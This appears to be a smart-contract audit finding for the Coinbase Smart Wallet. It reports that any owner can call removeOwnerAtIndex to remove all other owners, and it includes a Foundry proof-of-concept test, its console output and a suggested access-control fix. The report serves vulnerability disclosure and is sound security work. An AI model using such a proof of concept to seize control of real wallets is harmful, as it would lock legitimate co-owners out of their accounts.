Coinbase Smart Wallet - y4y's results

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/MultiOwnable.sol#L102

Vulnerability details

Impact

Any valid owner can remove all other owners in the wallet. Those removed owners will have their funds locked and lost.

Proof of Concept

In MultiOwnerable contract, owners can freely add and remove other owners to the wallet. All those operations have the modifier onlyOwner to ensure only owner can call the functions. However, in removeOwnerAtIndex, any index can be removed regardless of the owner which is calling.

    function removeOwnerAtIndex(uint256 index) public virtual onlyOwner {
        bytes memory owner = ownerAtIndex(index);
        if (owner.length == 0) revert NoOwnerAtIndex(index);

        delete _getMultiOwnableStorage().isOwner[owner];
        delete _getMultiOwnableStorage().ownerAtIndex[index];

        emit RemoveOwner(index, owner);
    }

As the snippet showed above, after retrieving owner address at the index, it's then deleted from the storage, and that's the end of the function. As a result, any owner can remove other owners from the wallet, causing other owners to lose funds in the wallet.

In the following unit test, proves the vulnerability:

    function test_removeAllOtherOwners() public {
        bytes[] memory _owners = new bytes[](5);
        _owners[0] = abi.encode(address(1));
        _owners[1] = abi.encode(address(2));
        _owners[2] = abi.encode(address(3));
        _owners[3] = abi.encode(address(4));
        _owners[4] = abi.encode(address(5));
        CoinbaseSmartWallet wallet = factory.createAccount{value: 1e18}(_owners, 0);
        console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1)));
        console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2)));
        console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3)));
        console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4)));
        console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5)));

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(0);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(1);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(2);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(3);
        vm.stopPrank();

        console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1)));
        console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2)));
        console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3)));
        console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4)));
        console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5)));
    }

The test will have the following output to the console:

[PASS] test_removeAllOtherOwners() (gas: 418750)
Logs:
  owner[0] is owner: true
  owner[1] is owner: true
  owner[2] is owner: true
  owner[3] is owner: true
  owner[4] is owner: true
  owner[0] is owner: false
  owner[1] is owner: false
  owner[2] is owner: false
  owner[3] is owner: false
  owner[4] is owner: true

Tools Used

Manual review, foundry

Recommended Mitigation Steps

If removeOwnerAtIndex is not called by the wallet itself, restrict caller only removing their own index.

Assessed type

Access Control